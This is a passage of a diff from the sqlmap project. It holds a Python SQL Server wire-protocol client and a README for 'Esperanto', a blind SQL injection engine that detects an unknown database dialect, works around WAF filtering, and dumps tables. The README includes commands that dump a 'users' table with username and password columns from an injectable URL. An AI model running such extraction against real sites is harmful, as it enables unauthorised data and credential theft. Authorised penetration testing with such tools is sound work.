||||
]
|
||||
char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")]
|
||||
|
||||
base = 94 # fixed header (36) + offset/length block (58)
|
||||
var, offsets, cursor = b"", b"", base
|
||||
for i, data in enumerate(fields):
|
||||
offsets += struct.pack("<HH", cursor if data else base, char_counts[i])
|
||||
var += data
|
||||
cursor += len(data)
|
||||
|
||||
offsets += b"\x00" * 6 # ClientID (MAC)
|
||||
offsets += struct.pack("<HH", base, 0) # SSPI
|
||||
offsets += struct.pack("<HH", base, 0) # AtchDBFile
|
||||
offsets += struct.pack("<HH", base, 0) # ChangePassword
|
||||
offsets += struct.pack("<I", 0) # cbSSPILong
|
||||
|
||||
header = struct.pack("<I", 0x74000004) # TDS 7.4
|
||||
header += struct.pack("<I", 4096) # packet size
|
||||
header += struct.pack("<I", 0) # client prog version
|
||||
header += struct.pack("<I", 0) # client PID
|
||||
header += struct.pack("<I", 0) # connection id
|
||||
# OptionFlags2 fODBC (0x02): make the server prepare the session like ODBC/FreeTDS - SET ANSI_DEFAULTS ON
|
||||
# (ANSI_NULLS/WARNINGS/PADDING, CONCAT_NULL_YIELDS_NULL, QUOTED_IDENTIFIER) + TEXTSIZE 2147483647 (else the
|
||||
# default 4096 silently truncates varchar(max)/text/image dumps) + IMPLICIT_TRANSACTIONS OFF + ROWCOUNT OFF
|
||||
header += struct.pack("<BBBB", 0, 0x02, 0, 0) # option flags 1, option flags 2 (fODBC), type flags, option flags 3
|
||||
header += struct.pack("<i", 0) # client time zone
|
||||
header += struct.pack("<I", 0) # client LCID
|
||||
|
||||
payload = header + offsets + var
|
||||
payload = struct.pack("<I", len(payload) + 4) + payload # prepend total length
|
||||
_send_message(sock, _PKT_LOGIN7, payload)
|
||||
_parse_tokens(sock, login=True)
|
||||
|
||||
# ---- token stream + type decoding --------------------------------------------------------------------
|
||||
|
||||
def _read_b_varchar(data, off):
|
||||
# B_VARCHAR: 1-byte length in UCS-2 *characters* (not bytes), then that many 16-bit units. COLMETADATA's
|
||||
# ColName is a B_VARCHAR (MS-TDS 2.2.7.4) - identifiers cap at 128 chars and an unaliased expression
|
||||
# column comes back with an empty name, so the one-byte count cannot overflow.
|
||||
(n,) = struct.unpack("<B", data[off:off + 1])
|
||||
return data[off + 1:off + 1 + n * 2].decode("utf-16-le", "replace"), off + 1 + n * 2
|
||||
|
||||
def _decode_datetime(raw):
|
||||
days, ticks = struct.unpack("<iI", raw)
|
||||
import datetime
|
||||
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, milliseconds=ticks * 10.0 / 3.0))
|
||||
|
||||
def _decode_money(raw):
|
||||
if len(raw) == 4:
|
||||
v = struct.unpack("<i", raw)[0]
|
||||
else: # 8 bytes: signed high dword, unsigned low dword
|
||||
hi, lo = struct.unpack("<iI", raw)
|
||||
v = (hi << 32) | lo
|
||||
s = "%05d" % abs(v) # scale 4; format from the integer (int64 money exceeds float's ~15-digit precision)
|
||||
return ("-" if v < 0 else "") + s[:-4] + "." + s[-4:]
|
||||
|
||||
def _decode_smalldatetime(raw):
|
||||
import datetime
|
||||
days, mins = struct.unpack("<HH", raw) # 2-byte days since 1900-01-01 + 2-byte minutes
|
||||
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, minutes=mins))
|
||||
|
||||
def _decode_numeric(raw, scale):
|
||||
sign = bytearray(raw)[0] # 1 == positive, 0 == negative; magnitude is little-endian
|
||||
magnitude = 0
|
||||
for b in reversed(bytearray(raw[1:])):
|
||||
magnitude = (magnitude << 8) | b
|
||||
value = magnitude if sign else -magnitude
|
||||
if scale:
|
||||
s = "%0*d" % (scale + 1, abs(value))
|
||||
return ("-" if value < 0 else "") + s[:-scale] + "." + s[-scale:]
|
||||
return str(value)
|
||||
|
||||
def _decode_guid(raw):
|
||||
a, b, c = struct.unpack("<IHH", raw[:8]) # Data1/2/3 little-endian, Data4 big-endian (mixed-endian GUID)
|
||||
d = raw[8:]
|
||||
return "%08X-%04X-%04X-%s-%s" % (a, b, c,
|
||||
"".join("%02X" % x for x in bytearray(d[:2])), "".join("%02X" % x for x in bytearray(d[2:])))
|
||||
|
||||
def _decode_temporal(t, scale, raw):
|
||||
# DATE 0x28 / TIME 0x29 / DATETIME2 0x2a / DATETIMEOFFSET 0x2b; time is scaled 10^-scale second units,
|
||||
# rendered with the column's exact fractional precision (Python datetime only holds microseconds)
|
||||
import datetime
|
||||
offset = None
|
||||
if t == 0x2b: # trailing 2-byte signed offset (minutes from UTC); value bytes are stored as UTC
|
||||
offset = struct.unpack("<h", raw[-2:])[0]
|
||||
raw = raw[:-2]
|
||||
has_date = t in (0x28, 0x2a, 0x2b)
|
||||
has_time = t != 0x28
|
||||
date_bytes = raw[-3:] if has_date else b""
|
||||
time_bytes = (raw[:-3] if has_date else raw) if has_time else b""
|
||||
days = struct.unpack("<I", date_bytes + b"\x00")[0] if has_date else 0
|
||||
base = datetime.datetime(1, 1, 1) + datetime.timedelta(days=days)
|
||||
frac = ""
|
||||
if has_time:
|
||||
ticks = struct.unpack("<Q", time_bytes + b"\x00" * (8 - len(time_bytes)))[0]
|
||||
base += datetime.timedelta(seconds=ticks // (10 ** scale))
|
||||
if scale:
|
||||
frac = "." + ("%0*d" % (scale, ticks % (10 ** scale)))
|
||||
if offset is not None:
|
||||
base += datetime.timedelta(minutes=offset)
|
||||
if t == 0x28:
|
||||
return "%s" % base.date()
|
||||
if t == 0x29:
|
||||
return "%s" % base.time() + frac
|
||||
s = "%s" % base + frac
|
||||
if offset is not None:
|
||||
sign, mins = ("+", offset) if offset >= 0 else ("-", -offset)
|
||||
s += " %s%02d:%02d" % (sign, mins // 60, mins % 60)
|
||||
return s
|
||||
|
||||
# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID)
|
||||
# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS
|
||||
# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the
|
||||
# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign).
|
||||
_LCID_CP = {
|
||||
0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250",
|
||||
0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251",
|
||||
0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255",
|
||||
0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257",
|
||||
0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949",
|
||||
0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950",
|
||||
}
|
||||
|
||||
def _sortid_cp(sid):
|
||||
if 30 <= sid <= 34:
|
||||
return "cp437"
|
||||
if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61:
|
||||
return "cp850"
|
||||
if sid in (51, 52, 53, 54) or 183 <= sid <= 186:
|
||||
return "cp1252"
|
||||
if 80 <= sid <= 96:
|
||||
return "cp1250"
|
||||
if 104 <= sid <= 108:
|
||||
return "cp1251"
|
||||
if 112 <= sid <= 124:
|
||||
return "cp1253"
|
||||
if 128 <= sid <= 130:
|
||||
return "cp1254"
|
||||
if 136 <= sid <= 138:
|
||||
return "cp1255"
|
||||
if 144 <= sid <= 146:
|
||||
return "cp1256"
|
||||
if 152 <= sid <= 160:
|
||||
return "cp1257"
|
||||
return None
|
||||
|
||||
def _collation_codec(collation):
|
||||
if not collation or len(collation) < 5:
|
||||
return "cp1252"
|
||||
lump = struct.unpack("<I", collation[:4])[0]
|
||||
sid = bytearray(collation)[4]
|
||||
if sid:
|
||||
return _sortid_cp(sid) or "cp1252"
|
||||
return _LCID_CP.get(lump & 0xfffff, "cp1252")
|
||||
|
||||
def _decode_variant(body):
|
||||
# SQL_VARIANT value: base type (1) | property-bytes count (1) | type-specific metadata | value bytes
|
||||
b = bytearray(body)
|
||||
base, propbytes = b[0], b[1]
|
||||
meta, val = body[2:2 + propbytes], body[2 + propbytes:]
|
||||
if base == 0x30:
|
||||
return str(bytearray(val)[0])
|
||||
if base == 0x32:
|
||||
return "1" if bytearray(val)[0] else "0"
|
||||
if base == 0x34:
|
||||
return str(struct.unpack("<h", val)[0])
|
||||
if base == 0x38:
|
||||
return str(struct.unpack("<i", val)[0])
|
||||
if base == 0x7f:
|
||||
return str(struct.unpack("<q", val)[0])
|
||||
if base == 0x3b:
|
||||
return repr(struct.unpack("<f", val)[0])
|
||||
if base == 0x3e:
|
||||
return repr(struct.unpack("<d", val)[0])
|
||||
if base in (0x3c, 0x7a):
|
||||
return _decode_money(val)
|
||||
if base == 0x3d:
|
||||
return _decode_datetime(val)
|
||||
if base == 0x3a:
|
||||
return _decode_smalldatetime(val)
|
||||
if base == 0x24:
|
||||
return _decode_guid(val)
|
||||
if base in (0x6a, 0x6c): # decimal/numeric: metadata = precision, scale
|
||||
return _decode_numeric(val, bytearray(meta)[1])
|
||||
if base in (0xe7, 0xef):
|
||||
return val.decode("utf-16-le", "replace")
|
||||
if base in (0xa5, 0xad):
|
||||
return val # binary -> raw bytes
|
||||
if base in (0xa7, 0xaf): # (var)char: metadata = 5-byte collation + 2-byte max length
|
||||
return val.decode(_collation_codec(meta[:5]), "replace")
|
||||
if base == 0x28:
|
||||
return _decode_temporal(base, 0, val)
|
||||
if base in (0x29, 0x2a, 0x2b): # metadata = scale
|
||||
return _decode_temporal(base, bytearray(meta)[0], val)
|
||||
return "".join("%02x" % x for x in bytearray(val)) # unknown base type -> hex (never desyncs)
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "type", "size", "scale", "binary", "collation")
|
||||
|
||||
def _parse_type_info(data, off):
|
||||
col = _Column()
|
||||
col.type = _u8(data, off); off += 1
|
||||
col.size, col.scale, col.binary, col.collation = 0, 0, False, None
|
||||
t = col.type
|
||||
if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f):
|
||||
pass # fixed-length types, size implied by type
|
||||
elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID
|
||||
col.size = _u8(data, off); off += 1
|
||||
elif t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale)
|
||||
col.size = _u8(data, off); off += 1
|
||||
off += 1 # precision
|
||||
col.scale = _u8(data, off); off += 1
|
||||
elif t in (0xa7, 0xaf, 0xe7, 0xef): # (BIG)VARCHAR/CHAR, N(VAR)CHAR
|
||||
col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
|
||||
col.collation = data[off:off + 5]; off += 5
|
||||
elif t in (0xa5, 0xad): # (BIG)VARBINARY / BINARY
|
||||
col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
|
||||
col.binary = True
|
||||
elif t in (0x28, 0x29, 0x2a, 0x2b): # DATE/TIME/DATETIME2/DATETIMEOFFSET
|
||||
if t != 0x28:
|
||||
col.scale = _u8(data, off); off += 1
|
||||
elif t == 0xf0: # UDT (CLR geometry/geography/hierarchyid) - value arrives as PLP raw bytes
|
||||
off += 2 # max byte size
|
||||
for _ in range(3): # db, schema, type name: B_VARCHAR
|
||||
off += 1 + _u8(data, off) * 2
|
||||
off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2 # assembly-qualified name: US_VARCHAR
|
||||
col.binary = True
|
||||
elif t == 0xf1: # XML (value arrives PLP-encoded UTF-16, no size in TYPE_INFO)
|
||||
if _u8(data, off): # schema-present: B_VARCHAR dbname, B_VARCHAR owner, US_VARCHAR collection
|
||||
off += 1
|
||||
for _ in range(2):
|
||||
off += 1 + _u8(data, off) * 2
|
||||
off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2
|
||||
else:
|
||||
off += 1
|
||||
elif t == 0x62: # SQL_VARIANT (4-byte max length; per-value base type carried in the body)
|
||||
col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
|
||||
elif t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE
|
||||
col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
|
||||
if t in (0x23, 0x63):
|
||||
col.collation = data[off:off + 5]; off += 5
|
||||
col.binary = (t == 0x22)
|
||||
# table name (num parts + parts) follows in COLMETADATA for these; handled by caller via name read
|
||||
else:
|
||||
raise NotSupportedError("unsupported TDS column type 0x%02x" % t)
|
||||
return col, off
|
||||
|
||||
def _read_plp(data, off):
|
||||
# PLP (partially-length-prefixed) body: 8-byte total len (or 0xFF..FF NULL / 0xFF..FE unknown) then chunks
|
||||
total = struct.unpack("<Q", data[off:off + 8])[0]; off += 8
|
||||
if total == 0xffffffffffffffff:
|
||||
return None, off
|
||||
out = b""
|
||||
while True:
|
||||
(clen,) = struct.unpack("<I", data[off:off + 4]); off += 4
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[off:off + clen]; off += clen
|
||||
return out, off
|
||||
|
||||
def _decode_value(col, data, off):
|
||||
t = col.type
|
||||
# fixed-length
|
||||
if t == 0x1f:
|
||||
return None, off
|
||||
if t == 0x30:
|
||||
return str(_u8(data, off)), off + 1
|
||||
if t == 0x34:
|
||||
return str(struct.unpack("<h", data[off:off + 2])[0]), off + 2
|
||||
if t == 0x38:
|
||||
return str(struct.unpack("<i", data[off:off + 4])[0]), off + 4
|
||||
if t == 0x7f:
|
||||
return str(struct.unpack("<q", data[off:off + 8])[0]), off + 8
|
||||
if t == 0x32:
|
||||
return ("1" if _u8(data, off) else "0"), off + 1
|
||||
if t == 0x3b:
|
||||
return repr(struct.unpack("<f", data[off:off + 4])[0]), off + 4
|
||||
if t == 0x3e:
|
||||
return repr(struct.unpack("<d", data[off:off + 8])[0]), off + 8
|
||||
if t == 0x7a: # MONEY4 (4 bytes)
|
||||
return _decode_money(data[off:off + 4]), off + 4
|
||||
if t == 0x3c: # MONEY (8 bytes: high dword then low dword)
|
||||
return _decode_money(data[off:off + 8]), off + 8
|
||||
if t == 0x3d: # DATETIME (8 bytes)
|
||||
return _decode_datetime(data[off:off + 8]), off + 8
|
||||
if t == 0x3a: # DATETIM4 / smalldatetime (4 bytes)
|
||||
return _decode_smalldatetime(data[off:off + 4]), off + 4
|
||||
|
||||
# variable-length with a length prefix
|
||||
if t in (0xa7, 0xaf, 0xe7, 0xef, 0xa5, 0xad):
|
||||
if col.size == 0xffff: # MAX types use PLP
|
||||
raw, off = _read_plp(data, off)
|
||||
else:
|
||||
(n,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
if n == 0xffff:
|
||||
return None, off
|
||||
raw, off = data[off:off + n], off + n
|
||||
if raw is None:
|
||||
return None, off
|
||||
if t in (0xa5, 0xad):
|
||||
return raw, off # binary -> raw bytes
|
||||
if t in (0xe7, 0xef):
|
||||
return raw.decode("utf-16-le", "replace"), off
|
||||
return raw.decode(_collation_codec(col.collation), "replace"), off # (var)char: the collation's code page
|
||||
|
||||
if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len
|
||||
ptr_len = _u8(data, off); off += 1
|
||||
if ptr_len == 0:
|
||||
return None, off
|
||||
off += ptr_len + 8
|
||||
(n,) = struct.unpack("<i", data[off:off + 4]); off += 4
|
||||
raw, off = data[off:off + n], off + n
|
||||
if t == 0x22:
|
||||
return raw, off
|
||||
if t == 0x63:
|
||||
return raw.decode("utf-16-le", "replace"), off
|
||||
return raw.decode(_collation_codec(col.collation), "replace"), off # TEXT: the collation's code page
|
||||
|
||||
if t == 0xf1: # XML: PLP-encoded UTF-16-LE
|
||||
raw, off = _read_plp(data, off)
|
||||
return (raw.decode("utf-16-le", "replace") if raw is not None else None), off
|
||||
|
||||
if t == 0xf0: # UDT (geometry/geography/hierarchyid): PLP raw bytes -> sqlmap hex-encodes them
|
||||
return _read_plp(data, off)
|
||||
|
||||
if t == 0x62: # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body
|
||||
(total,) = struct.unpack("<i", data[off:off + 4]); off += 4
|
||||
if total <= 0:
|
||||
return None, off
|
||||
body, off = data[off:off + total], off + total
|
||||
return _decode_variant(body), off
|
||||
|
||||
# nullable / length-prefixed numeric & misc
|
||||
(n,) = struct.unpack("<B", data[off:off + 1]); off += 1
|
||||
if n == 0:
|
||||
return None, off
|
||||
raw, off = data[off:off + n], off + n
|
||||
if t == 0x26: # INTN (size 1 is unsigned tinyint; 2/4/8 are signed)
|
||||
return str(struct.unpack({1: "<B", 2: "<h", 4: "<i", 8: "<q"}[n], raw)[0]), off
|
||||
if t == 0x68: # BITN
|
||||
return ("1" if bytearray(raw)[0] else "0"), off
|
||||
if t == 0x6d: # FLTN
|
||||
return repr(struct.unpack("<f" if n == 4 else "<d", raw)[0]), off
|
||||
if t in (0x6e, 0x3d, 0x7a): # MONEYN / MONEY / MONEY4
|
||||
return _decode_money(raw), off
|
||||
if t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN / NUMERICN (+ legacy DECIMAL / NUMERIC)
|
||||
return _decode_numeric(raw, col.scale), off
|
||||
if t == 0x24: # GUID
|
||||
return _decode_guid(raw), off
|
||||
if t == 0x6f: # DATETIMN (n=8 datetime, n=4 smalldatetime)
|
||||
return (_decode_datetime(raw) if n == 8 else _decode_smalldatetime(raw)), off
|
||||
if t in (0x28, 0x29, 0x2a, 0x2b): # DATE / TIME / DATETIME2 / DATETIMEOFFSET
|
||||
return _decode_temporal(t, col.scale, raw), off
|
||||
# unknown layout: return the raw hex as a last resort (never desyncs)
|
||||
return "".join("%02x" % x for x in bytearray(raw)), off
|
||||
|
||||
def _parse_tokens(sock, login=False):
|
||||
data = _read_message(sock)
|
||||
off, columns, rows, description, error, affected = 0, [], [], None, None, None
|
||||
while off < len(data):
|
||||
token = _u8(data, off); off += 1
|
||||
if token == 0x81: # COLMETADATA (a new result set: drop any prior rows so only the last is returned)
|
||||
(count,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
columns, rows, affected = [], [], None
|
||||
if count == 0xffff:
|
||||
continue
|
||||
for _ in range(count):
|
||||
off += 4 # user type
|
||||
off += 2 # flags
|
||||
col, off = _parse_type_info(data, off)
|
||||
if col.type in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE carry a table name before the col name
|
||||
(numparts,) = struct.unpack("<B", data[off:off + 1]); off += 1
|
||||
for _ in range(numparts):
|
||||
(plen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + plen * 2
|
||||
col.name, off = _read_b_varchar(data, off)
|
||||
columns.append(col)
|
||||
description = [(c.name, c.type, None, None, None, None, None) for c in columns]
|
||||
elif token == 0xd1: # ROW
|
||||
row = []
|
||||
for col in columns:
|
||||
value, off = _decode_value(col, data, off)
|
||||
row.append(value)
|
||||
rows.append(tuple(row))
|
||||
elif token == 0xd2: # NBCROW (null-bitmap compressed)
|
||||
nbc_len = (len(columns) + 7) // 8
|
||||
bitmap = bytearray(data[off:off + nbc_len]); off += nbc_len
|
||||
row = []
|
||||
for i, col in enumerate(columns):
|
||||
if bitmap[i // 8] & (1 << (i % 8)):
|
||||
row.append(None)
|
||||
else:
|
||||
value, off = _decode_value(col, data, off)
|
||||
row.append(value)
|
||||
rows.append(tuple(row))
|
||||
elif token == 0xaa: # ERROR
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
msg_off = off + 4 + 1 + 1 # number(4) state(1) class(1)
|
||||
(mlen,) = struct.unpack("<H", data[msg_off:msg_off + 2])
|
||||
error = data[msg_off + 2:msg_off + 2 + mlen * 2].decode("utf-16-le", "replace")
|
||||
off += tlen
|
||||
elif token == 0xab: # INFO
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0xad: # LOGINACK
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0xe3: # ENVCHANGE
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0x79: # RETURNSTATUS
|
||||
off += 4
|
||||
elif token == 0xa9: # ORDER
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token in (0xfd, 0xfe, 0xff): # DONE / DONEPROC / DONEINPROC
|
||||
status, _curcmd, rowcount = struct.unpack("<HHq", data[off:off + 12])
|
||||
if status & _DONE_COUNT: # only then is DoneRowCount meaningful (MS-TDS 2.2.7.5)
|
||||
affected = rowcount if affected is None else affected + rowcount
|
||||
off += 12
|
||||
else:
|
||||
raise InterfaceError("unexpected TDS token 0x%02x" % token)
|
||||
|
||||
if error is not None:
|
||||
if login:
|
||||
raise OperationalError("(remote) %s" % error)
|
||||
raise ProgrammingError("(remote) %s" % error)
|
||||
return description, rows, affected
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, affected = self.connection._query(query)
|
||||
# a result-producing statement reports what it returned; DML has no rows, so the server's
|
||||
# DoneRowCount is the only place its affected-row count exists
|
||||
self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _query(self, query):
|
||||
# TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header
|
||||
headers = struct.pack("<I", 22) + struct.pack("<I", 18) + struct.pack("<H", 2) + struct.pack("<Q", 0) + struct.pack("<I", 1)
|
||||
_send_message(self._sock, _PKT_SQL_BATCH, headers + query.encode("utf-16-le"))
|
||||
try:
|
||||
return _parse_tokens(self._sock)
|
||||
except (struct.error, IndexError, ValueError, KeyError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def connect(host=None, port=1433, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 1433)), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
_prelogin(sock)
|
||||
_login7(sock, user, password, database)
|
||||
handshake_done(sock)
|
||||
except (DatabaseError, InterfaceError):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
except Exception as ex:
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise OperationalError("TDS login failed (%s)" % ex)
|
||||
|
||||
return Connection(sock)
|
||||
@@ -0,0 +1,148 @@
|
||||
# Esperanto
|
||||
|
||||
A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by
|
||||
nothing but a boolean oracle.
|
||||
|
||||
## What this is
|
||||
|
||||
Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the
|
||||
DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be
|
||||
identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike
|
||||
its parent - that pipeline dead-ends.
|
||||
|
||||
Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable
|
||||
`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the
|
||||
target - it discovers the dialect from scratch (string concatenation, substring / length /
|
||||
character-code functions, the usable comparison operator, the catalog surface) and then extracts
|
||||
data character-by-character, without ever being told which DBMS is on the other end.
|
||||
|
||||
The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all
|
||||
supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge
|
||||
as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap
|
||||
imports) and runs unmodified on Python 2.7 and Python 3.
|
||||
|
||||
## Usage
|
||||
|
||||
Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual,
|
||||
then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request /
|
||||
comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against
|
||||
an unidentified back-end:
|
||||
|
||||
```
|
||||
python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users
|
||||
```
|
||||
|
||||
Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`):
|
||||
|
||||
```
|
||||
python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users
|
||||
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --dump -T users -C uname,pass
|
||||
python run.py --self-test
|
||||
```
|
||||
|
||||
The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end
|
||||
of the URL. The true/false oracle is taken from `--string` / `--code`, or
|
||||
auto-calibrated from the response when none is given.
|
||||
|
||||
## How it works
|
||||
|
||||
Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and
|
||||
keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that
|
||||
filters - one form falls through to the next rather than failing:
|
||||
|
||||
| Primitive | Ladder (first that works wins) |
|
||||
|------------------|--------------------------------|
|
||||
| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` |
|
||||
| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition |
|
||||
| Length | a length function, else derived from the substring's end |
|
||||
| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan |
|
||||
| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` |
|
||||
| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching |
|
||||
|
||||
Each candidate is accepted only against a semantic check (for example, the comparison ladder is
|
||||
validated across a signed truth table, not two positive samples), so a rewriting layer that turns
|
||||
`>` into `>=` is rejected rather than silently mis-reading every count and length.
|
||||
|
||||
Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and
|
||||
version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset
|
||||
(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a
|
||||
discovered primary/unique key, else a physical row-id, else the row's own value.
|
||||
|
||||
## Interface
|
||||
|
||||
```python
|
||||
from extra.esperanto import Esperanto
|
||||
|
||||
esp = Esperanto(oracle) # oracle(condition_str) -> bool
|
||||
esp.discover() # ladder out the dialect
|
||||
esp.identify() # best-guess product + evidence
|
||||
esp.extract("(SELECT ...)") # one scalar, char-by-char
|
||||
esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by}
|
||||
esp.enumerate("table") # keyset catalog walk
|
||||
```
|
||||
|
||||
- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a
|
||||
transport or observation failure must raise (or return a non-boolean), which the engine treats as
|
||||
*undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be
|
||||
reported as `False` by the oracle itself.
|
||||
- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's
|
||||
enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the
|
||||
package stays dependency-free.
|
||||
- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*`
|
||||
methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only
|
||||
a strategy plus an oracle.
|
||||
|
||||
## Integrity model
|
||||
|
||||
Every recovered value carries an `Integrity` classification so a caller can tell "we visited every
|
||||
position" apart from "the bytes are provably the source's":
|
||||
|
||||
| State | Meaning |
|
||||
|-----------------------|---------|
|
||||
| `EXACT` | proven byte-identical to the source (or a proven `NULL`) |
|
||||
| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) |
|
||||
| `TRUNCATED` | a bounded prefix; the source continues |
|
||||
| `UNRESOLVED` | a character could not be recovered |
|
||||
| `FAILED` | could not observe or verify |
|
||||
|
||||
The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe,
|
||||
never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports
|
||||
a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values
|
||||
